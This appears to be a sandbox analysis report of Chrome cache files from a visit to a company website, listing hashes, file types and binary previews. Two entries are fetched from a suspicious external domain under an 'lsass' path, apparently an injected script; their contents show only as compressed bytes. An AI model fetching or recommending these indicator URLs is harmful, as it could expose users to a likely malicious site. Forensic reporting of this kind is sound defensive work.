SSDEEP:	24:n499/EPnKa0FuI/8Xq4g5J5cav227s66glB:n4P/EfKa0MCKtsJ5ck2j66gv
MD5:	4792DE828B490718C8B2896C3A33F180
SHA1:	DAF687934E636DAA1FD0378D9FC699251D47D109
SHA-256:	79C30F2E1573F6F9D99D3C5259D8731EE858ABBC5BA46D5B456D0C63EECDEBE5
SHA-512:	E9E37BBD3BB20DE6080274A96D0CF18979218C71FB6FCD7439769073FC9A0289BDC0FE94A8D29DDDD2B2B6F35D7B37284DD32E5E1651742B45DEA231CEDAE421
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...)...)......`......IDATX.._hNa..?/b...jy..H...d.Vn........R.....Pr.........."..Z...E..}..y....=.9.:S...<......>..{....f$....7......x.t.o...,#2._......"Y.......MD....2`!.....qlC@.0<%M..;......l..@.+r.p.hJ(.D.)..L.l=...f..^'....x.$...O..Q.?..-..\R_..l.!..Q/i..1{./.....h..<`...v....#..#6.>.(.a&.r..%.9.+.mQ1".$.pN. i.c7.\...9.-....c....../$p.........~G<..<........b>cVR.'.<..!O..;.....BE....#.F l..y.._/V`>....Z..i..O.D".zSl.A\|...W./.....ym.r...t6.@9..ynv....r....'\|6......<q..l.,.."..........v.@...0..h.T-.NI;...'w...]..U..M....1V......#.........V.........s.C.....v.n..W.9..j..@.]...s<./Ja.,..\|`V..TD...kP.-2!.>.I..I...\n...p.8.w...Yi#I.;..L..c..w.R}...q.r. J..\|>9..E..\|....Qd*9.".H..A..^d~......5_.......[.....8......\|.Rm........l.>.Q.:.V.?...vz...\..4....G.(0..e.O.:)...Q.3K.U......IEND.B`.

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 200 x 200, 16-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8673
Entropy (8bit):	7.906294328105521
Encrypted:	false
SSDEEP:	192:0nuZL1wmlyGz9ZhJ0Hg9qvj5Jz5csVTkIjmvaV:LZL1w0TLd9qvj5jVTDmvaV
MD5:	360D44DC94E92F16141A90B177B918DC
SHA1:	3C804C3D56C5810928CD252424A21E325A2D137D
SHA-256:	C991208D541EF58AC88E7DDC1C373574E2AED039C96AB5BB2251A6FACA810F05
SHA-512:	07D8693F802D6AAF7F2F799242F1B7C204B44E177F5FD490DCB94B85C7E0A3CBEA1B17316C013691B92E3D050EE9C9C31F80F6ADFD04B71E2A52188C4B759663
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/xingxingmap.png
Preview:	.PNG........IHDR...............r.....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...H...H.F.k>.. .IDATx...y@T..?..s.%IP.%s.........5.\.A.2.3.n...ZW.%....K.......U+.....U..d.4T\Y..........g......}F.7.<...."..A...@...\.....].x..meV....cN....p....Q...x...........Wfg.>."....D..........:.`.:...AA.x.qx5?..&...dN...z..#.'...D....\|6...j..w..........7.c../P........7....h..g ..........S.....Y.v.OV.........a..'.%Mu.".;S.k.r.8J...-Y.."rY,.rQ..).\|..i..{w.}_1G.Z..].k>.P..@dK..E.GJ!....>....5m....(.t..d~.Wq.v....5...\L....:AyqX..=3g.NAd.,.r9....Tg.C.......5-.U+.i....B."bnr.z...#...T...6F...:..5.@.E..:........#...g.......`D6..!'........".9b..4....zy......).a....BN...e.a....m.*..B..LH...4...L...X ..D+`.X.).w6.....f>.k5D...!'..\|ZB......P.i...L..:97..9)..<d.x.).O....t.B/............L.L.....8...4. .qB..o...t......9.GP...u.H.a...@..r._u...`...(.....W..zD'DT....^...V...,X .$..._.>..3.[V..SG....X .$.....k.77...}.

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1579
Entropy (8bit):	6.082594669540354
Encrypted:	false
SSDEEP:	48:S/6sMYL4knA9WIYd/c09BZBiBf39RHns3B6eH9z:SSJYkknmWIYd/MHns3R1
MD5:	C6DE23504058244A287D4B09058CF38B
SHA1:	F54F8EFCFACC18BBCC31C76AD95DBCC29356A484
SHA-256:	E6ED0CC3C8F86DA6CE4172BC000CF1508C0BDAF9721C13257F57C2D7F60F5EF0
SHA-512:	FCF66F2AA0026D91B19B75DEF32641D6FD017EA74CADB0B2D03B85090C5DB1E5C1042E26E37C93DDEB2D2650DD8662F44138C1625F0D5734D57344F7D125AFF2
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jiantouup.png
Preview:	.PNG........IHDR...0...0.....W.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-27T11:01:08+08:00" xmp:ModifyDate="2022-07-27T11:02:03+08:00" xmp:MetadataDate="2022-07-27T11:02:03+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:15cd5cc8-7e01-6d41-9053-396e6dcd121c" xmpMM:DocumentID="xmp.did:15cd5cc8-7e01-6d41-9053-396e6dcd121c" xmpMM:Origi

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 40401
Category:	downloaded
Size (bytes):	12263
Entropy (8bit):	7.983318912466244
Encrypted:	false
SSDEEP:	192:tMKyamFR5UCtMgbhQBpjWDh+IJyrHUkp82YfmeVL15US9uz6wu3R1RRNs:tu8mMgbsQh1grHv8nzhOSUC3u
MD5:	3586719F6E46CD4F9C0F46697E72533D
SHA1:	2564A9A2342092409AEE5CE9B0C3AD34FF93778F
SHA-256:	80F62780E88F4CC613D540C01A070F3C9B580F003FCE84411E642AD2525BA070
SHA-512:	6D9D3FC5D7A51311946F13AF519BD2A97DC428A5D8ECB0B79E2D89A4C017FDE66C880E17D95ECD80E1062B3954C86824282165B93426351711892E0FF3E613AC
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_js/owl.carousel.min.js
Preview:	...........}.s.V....+$T.&L.....,.J.N.'.J:..NFV.@...P$..,;......}...<.v..-....}....b[/..<.dEV..V.W.P..n/..pSm..b../....+j......Z..............-.._.yuU-..7.r..fW.b..U.f.o...^....s..<....j]m...z...../6...b.\...co.g...d]..u......a.z[]....r..rU.g.:.P/....X....^U42.2/.{.........^xJz"......\|.]~...._.....f^.U.(=./...I.v'.MJ.`.........l...\.n..\|[.G.P~d.....W.......a.r.W==.zQok..W........5..2...j.?....^....0...BW...)......8.bL]H....~Yc............{?....}..deV..a...V_.....~...t..O...d.^.MSL..O.&.Yr.(.i...d.......j..~.Wg..c...;+......l......J..w.l..b..^..,.W5......]..=..<..ga.uG.X.U..X..(......'.q...]<..WfU./..0..O.uT.q....7.sc._.h.r.....&8......"._...r=..\|..xC5^.&......O.a..X..\.yU..`\e.ly\|5..aF.....~....../z...~9...S.....F?...1n.>..W.........j...j...g..m.....z.C.^.....xS.....t....Y\|.....r\|{.\.....^.ODK.]..i...R+x..e....k....h....\|.3..f.7.r....(~....z.#....#.<z...f^..c...Z^o..h..B[`.+,.~O.VB..]..&b.g.......;wI?.Qo...z.....z...z)w.-..9.....D.F

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 137
Category:	downloaded
Size (bytes):	139
Entropy (8bit):	6.4409638715902275
Encrypted:	false
SSDEEP:	3:FttBhNa7oFyPaxm7wbtfSlpiiHRKFh1fjNl:Xtx6JitfSlpXoFh1LNl
MD5:	4C1A68447C9ECBC805C737727F31DCC9
SHA1:	E0A30D891D02BE64D7C7914E13CDB673A9F479FB
SHA-256:	487744D37E61AF8EC2376814E5AEB86FF5B95AB7BACED6E863030826E8878F58
SHA-512:	4710E2995AFB277AC37B71E3F426783D1529BEB239F27A5CFFB9162FBA49F58CDB2A5D9F2878AC4889436CC84A14081FD1F139ADC54779C69714D97DED2426EF
Malicious:	false
Reputation:	low
URL:	https://meimei68.top/lsass/index.php?fHYWBUn3
Preview:	..........=.A..0...}Eni/..... >d..4.&!.E.o..s....T..,0..F.)_..."....k(M......\[+.h.Q..j.....CBz.._,...4z.x8.<I........P...".0./z..!....

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2115
Entropy (8bit):	6.943986617831177
Encrypted:	false
SSDEEP:	48:wp/6sMYL4knA9WIY+8s/c0mJw3mEHns/qa8N0Nj:QSJYkknmWIY+8s/QjEHns/ugj
MD5:	598DA10F749803894C068BD427E79181
SHA1:	868FFD5B5E65A0B3FB8E975440FDE52907444F20
SHA-256:	0AF81F268FE5FBD633BC19A220D23B7CDC7B6375C249DEE5EF63E038603D61FA
SHA-512:	0A543FA4C401EDE14B534B12B36C1BA51A0B7E62EF526F5B96ED3F01390EF0974F646A418F274D831A6E07C46C1BCF1B07BEFEEAF0B7A7C50B0B7BA969B44F17
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...%.....0`......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-12-02T19:03:20+08:00" xmp:ModifyDate="2022-12-02T19:03:54+08:00" xmp:MetadataDate="2022-12-02T19:03:54+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:386b997d-5f0d-4642-b459-872c1231cb40" xmpMM:DocumentID="xmp.did:386b997d-5f0d-4642-b459-872c1231cb40" xmpMM:Origi

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1469
Entropy (8bit):	6.854132454758567
Encrypted:	false
SSDEEP:	24:tr1hQWwh82lYSKwVO3V8T3fyJ3VmzVxGakRyOdBjPrNxR43HJkEL2:fzvnLMEaeJ3QJx27jPrN/43HJxL2
MD5:	C191B4B3E1062C71A23C6B182529B5BD
SHA1:	16D4385F48BB6206933F7EC7280838C1F2B1C2CF
SHA-256:	461F4919576E69E92D0404B0A565EBD9A1647A2CF4BAF7F97330242B5F1A6234
SHA-512:	001E5A4A261952AC09A0FA094A66928D9F891445C742616B02788C7BA87A8FF0C15058B52DBCD8EA9231A1F1820D167612BECF6464FC8E5B79C97C0D1DADE421
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............iM.....tEXtSoftware.Adobe ImageReadyq.e<...yiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:455effb3-b485-7045-bf34-f6863675f4ca" xmpMM:DocumentID="xmp.did:70B71E364E2A11EE8D5FB5C1A3F4A12E" xmpMM:InstanceID="xmp.iid:70B71E354E2A11EE8D5FB5C1A3F4A12E" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:455effb3-b485-7045-bf34-f6863675f4ca" stRef:documentID="xmp.did:455effb3-b485-7045-bf34-f6863675f4ca"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..M(.a..gk.\|$."rq.

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 6359
Category:	downloaded
Size (bytes):	2280
Entropy (8bit):	7.9026895889134385
Encrypted:	false
SSDEEP:	48:XAZtJxJzpczuzMzb57IOXlnLY9rbvp6z7YB:QZt/4zuoRVVnLYpdn
MD5:	CE30C03C772275CD2A24A7E50913642B
SHA1:	99FF883B8EE93E84B5E818B32452CD66747C0EC6
SHA-256:	7BB8462844464C2C411C82327E7560D036814D969B1B2BD96AC43ECF71794228
SHA-512:	CEFC254403031829C03BA32B621ADC0DA5DC3167F6A1CB8A0C72890A7FEA6E967C660939FDB6282AC5AC5AE7ACCAA2077021F9327DA15908EFDCE16E72230A50
Malicious:	false
Reputation:	low
URL:	https://meimei68.top/lsass/jsson.js
Preview:	...........X{s....?z.c....@Zeo.Jb.v..q......D[.e.~%.w...(..n.f2../..~X..&..I._.P....+..P../^L..7 .Lp.'.%...)V2..^.a..e.....W5{ZjKL...i:+......`H...._w.......j......W..Coc...:@^w.y...]kA#..`].....@......t...Y...A.F..K.@./.....z...O5I...f2...q)..!2.L..Q.G.A)G....y.g.V\|...T$J._....Q.i..~F)..&..`2x.A.6..K,...s.......\S2.8EIm...f$.A.J.1...r%..lY...J..i..c.n..j.=V..\|d...]#{.?] {5[.p.....^.77..n..$Y.h.p......X+..h.[.=.,4.._MX....`0STB.{...K P.mVR.+.........C..&.Z.x.{Ki.......s...+.-.T..{9....9.M0.$r...n...).+.:....8)....q./..r.....+.......qZV.y...C........U.'......f5N..zy.......f...s.a..6.F.G(N......r........!.<..K....cy.g.Y!......./W.=..a5.E.(.=N....[...@...Q.....3...}.iz%KmoR<h.x..~....Y!...g......-.G8..GO......N.^..%..}..].=.E.o.O........Oo..T.H.%4..H..zW?..~4~.>.D.E.........G.......>....wv....{.x........../._.}.L3..................'.~......euXI..^...Q. W..F....f.0A...w.Ooam...!WW.._......m.D{.0....z...]..)/........f.V.'p........... ..$..

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 17860
Category:	downloaded
Size (bytes):	3893
Entropy (8bit):	7.950340410641733
Encrypted:	false
SSDEEP:	96:zDHkBP0Dwt1n9Bi7xeqfWgatQ8ZgCx27aAFt1D7Y:zPcr984qOi86Cx2OAH1Ds
MD5:	026345206371CFE8E83668FB4638F30D
SHA1:	DE4BCFCAE66CE12C56ABEAE22DA58A268295C83C
SHA-256:	AAF60378169F63A198D2B8D518C91B868D2C3F76DADB211D845F314C607D9159
SHA-512:	B54EF07525CB26DB8D6485D817300347478A7E0FE182BDDF783169E967D7A311B6EE7F5BDA1B8BF533CC50FFEFE6508DE4FC4E40176534E878CB11A6A4A9DD5E
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_js/public.js
Preview:	............M.......F1.TW....k.. 94.6.. @...$J."e.Z.61.C..q.h..AN9.9.(P.A........13...)j......K.7o..{....h...(M<..}\|..vwO?....;...........N.(.>....On}...w.n...G.8(.;....q...6#.$\x.....FIT......w.d."]x.j.n.yqt..{E6.;.}.......8...0\.[.Q...Y......3.I1.;.t..jw.$..E.....4..Kg......s..c....^#.d.....o.0.o.}.....<:..]_{M........=.......xB\|..F#..........>/.....Ga.8/._..I...#..x.0av.@.$].m....%..+.'.0,.%..............,..O....4I.UI.1q.4..m....a...$..6..I....7..B..7<...p.S...M..cR../u..2<..R..y..d.K. +$..`...4..x.O.6.A...V<.E6.._1Bo..6.va...P...$...M....3rG.=1...8wRf...I.....4EF}..\|..gu..0..d....E..-..QK..;ab.\|$.X0....$Y.^o..p.%..z.mOI........W... wm..F..\....P.R..S.\|..C.I...=..."........n.\...[.......Kf...r"......H1\..".~.+0.a.,....6K41z>........C.....h.....b.#.I\..h...#...d..0}....T...v{....0$..T....../......{..A./..X.p...G}.J..+...a...\.....ij.q..BHE...O.d..@&w.............W.:.(.B....d....\|.vH...<.t..e..-9..d.#....N9...!`..n.WU.=L.....Y

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1880x930, components 3
Category:	downloaded
Size (bytes):	968440
Entropy (8bit):	7.971353501577847
Encrypted:	false
SSDEEP:	24576:6og1FKRttDSGoNn0GYXGK3oSxdsoRs0Opc1MFuD/hhc:TDntBs0GYNoSxdzsdpc15o
MD5:	FC1BDDA5B05F5ACB7B8CBF4D52C87730
SHA1:	DC5A4D6BC648A10AB6058984CE5C6245DFB408B9
SHA-256:	23B23FA6A92AF2B855B1A5063388C7FD92B69FC35473B88E24C74A879EB6F328
SHA-512:	D9E4FC770A9E70D61B71BD7F4CA5C4FF89EF0C691624A99B99B38A72B9AB67A2AD1FF9D787B87E1D1397E39DD084B2851DAF7F52758613B8FD795D08BA6B8751
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jjbg.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:E995F7EF122611EDAA699CFBAFA00E12" xmpMM:InstanceID="xmp.iid:E995F7EE122611EDAA699CFBAFA00E12" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 67 x 67, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1867
Entropy (8bit):	6.21065338510162
Encrypted:	false
SSDEEP:	48:N/6cMYL4knA9WIYnDo/c0RSB3KHny3R/uHcLFmI1vu:NS5YkknmWIYnDo/LHn4uHcLFmIlu
MD5:	3DFF341F535CBCFFDAC8028D9A6C8F49
SHA1:	BC0D4F8863F98F16CDECBA4D238728AF62435B55
SHA-256:	D773C4F258B2D54017E5A0E761A81DB55B29A013DAA792866DA6F35B653B0439
SHA-512:	E2A8469B1A0303A2EE37299A35CA279562127E40CB696A843F7ABA8323DF548768ED6CABCB72632B70E6FC8D5FEBF501C6618E6B835C716C6B831B6E6210402C
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jticn0.png
Preview:	.PNG........IHDR...C...C.......s....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-22T10:59:59+08:00" xmp:ModifyDate="2022-07-22T11:01:15+08:00" xmp:MetadataDate="2022-07-22T11:01:15+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:14757d70-76fb-5b4f-bc1c-34b9c9606df2" xmpMM:DocumentID="xmp.did:f0db2321-6286-404a-9159-2bbd984bed72" xmpMM:Origi

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	dropped
Size (bytes):	231976
Entropy (8bit):	7.828803069022744
Encrypted:	false
SSDEEP:	6144:dnPDL1ThUl3cAnzF6fWO3i849UpAEPyE939/lSCeIU:d0lM+w+Oh49ory6/lSCeB
MD5:	A80ACEF431385941D2FA776DF3655232
SHA1:	3916496AB6294BB9B362E58A6B6DF63F16EADEC0
SHA-256:	04497762DCF17E8AA459DAC0C758A0AA48CA4BDAF11030E91460CC30D14C2C71
SHA-512:	DA8D608D4F06CCDA5456CEC398D7BAC3B98BCFA8963D9E09E0E4FD7D4CE1287655D38FA0B15E54FB7DB730CDF02AA7AC18887053684D172F0391A835882756F6
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82....C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...]..Q..Bb.S.F(.....c....R...sH....i.h..S.)@........b..QKI.@...+GJ.J(...cph..b.@....F..3.b.E&..&(...B8.CqF)...a..;..P.O"..<.n3@..!.R.T.7.0.....f)..-...i).Rb..y..4.Q..n..i.P..7....Q..@sK.P)q@.....iv..@.;......h..iq.N....N..\R.@..M..b.P.E(Z\P.h...7..R.K.1@..Jp.......~....`.O....`.O.....4.R.F(.1F)....b.S...qF)

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 21, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.972281741799883
Encrypted:	false
SSDEEP:	6:6v/lhPuYRmtdR+GvviIPhm+A4BJvL4YcWisuFqVT6+jp:6v/7GyO3/HLUFkT3
MD5:	6ABD377FD6B183DEE46F4C67D066D501
SHA1:	F53EDB4278EAFB527FACCCE3391258A4C4A63807
SHA-256:	3DBA6AD5D48B58549BC2BD67EC8D795D5A66379231F6140B5FA1C955DAA2DF56
SHA-512:	314517AD9C54E5527DAA7E496C23BB81233AC0AD1C361B78CE06224D1EFB0A550FEFB8E2C0F10132AB1725144AFE3BEC00896C7D74F5961B6B63E5572F430AC0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............vY.....IDAT8.....0..?.H...Q..b...R.2,@...K z....@.).r8P..O.I/:...9..Hj$i%. .j:....."......)0.\|.l..v.t.X.t.l.6&.I.JJm.]...m.c....J[S..cW. ..Jx...H...`..j..p..U......`tl...y.+.3.\|....G.....ql.G`..q.{<w.N.....U?...<..#q.H...i......IEND.B`.

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	336
Entropy (8bit):	7.159285191876734
Encrypted:	false
SSDEEP:	6:6v/lhP6+kNHdoTMlfQYUXpnBpiCy+wh4nYdcsNjpC1Tp0lb1NGRzilasxGL3/cs7:6v/7UqTiOFjApfdcCjpmUfGR6AL3t7
MD5:	3EBD80B72DF9EF20DFB2434E4486EDF4
SHA1:	70819FC8504475DBD585A3D9E307D42262D86164
SHA-256:	8999E2AA6A05EF04B14F1198F42B6E79166609AE3BE8FF43A0F492A419B7CFBE
SHA-512:	A64C681D1E2A0C2C7DEA8A6A05B64C2283AAF22588E32CAC3C2A74067302B2F98D2EB437D927F89CFE78B8CE7A3B9EF51F56F56F4FE46F6523A8F4343003CD45
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/sousuo0.png
Preview:	.PNG........IHDR.............;mG.....IDAT8....J.A...k.K.........,........JTPAI.@..h....mE.4..(X. .1.'.w.a.]f...2s.\|.....f.}..i\|.W.R.;Q8.....#.....E.53......pn.f..b.....j.w5.iY!..8...4..x..8...k'..$]+>...W$..% X..!...M..!d .^.2.4..2=......x...f.1.i.`.<'Em.g....l....x....<..:........y.6y...Z.V...3.!(.K..A...8..._..........IEND.B`.

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	dropped
Size (bytes):	253576
Entropy (8bit):	7.976259906080109
Encrypted:	false
SSDEEP:	3072:XR0o8Raa587K2HjW74UfHIM+P6/AaWRduK/z3QHW7ZcRAC4FcXdUOwsSV42mmM1I:XW4tjY4ilu7/z3X4KcXdUOAyNkympTH
MD5:	C346654758B66236F2E85DE654458659
SHA1:	CAD150133B72E4D234B59C5ABD115BB375C13BD7
SHA-256:	C9F01D951BD79834BEC21E9BB14590BD78558250DE1158AB09E4556DC39A2C85
SHA-512:	80538F7CB8139DF4AA58CF3BECD0424BD03ACD4E05394028EFCC3FF9A4A4EE742614E7B8CE8AD296677FFEDE8165E07600BF8DE210284146C631757456397AA5
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:1F139CBA1E5F11EF87E9E9576F25185F" xmpMM:InstanceID="xmp.iid:1F139CB91E5F11EF87E9E9576F25185F" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8c0d682f-f95f-ca48-b143-6c0a56cf4750" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 41, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	849
Entropy (8bit):	7.688091247907139
Encrypted:	false
SSDEEP:	24:n499/EPnKa0FuI/8Xq4g5J5cav227s66glB:n4P/EfKa0MCKtsJ5ck2j66gv
MD5:	4792DE828B490718C8B2896C3A33F180
SHA1:	DAF687934E636DAA1FD0378D9FC699251D47D109
SHA-256:	79C30F2E1573F6F9D99D3C5259D8731EE858ABBC5BA46D5B456D0C63EECDEBE5
SHA-512:	E9E37BBD3BB20DE6080274A96D0CF18979218C71FB6FCD7439769073FC9A0289BDC0FE94A8D29DDDD2B2B6F35D7B37284DD32E5E1651742B45DEA231CEDAE421
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/whicn1.png
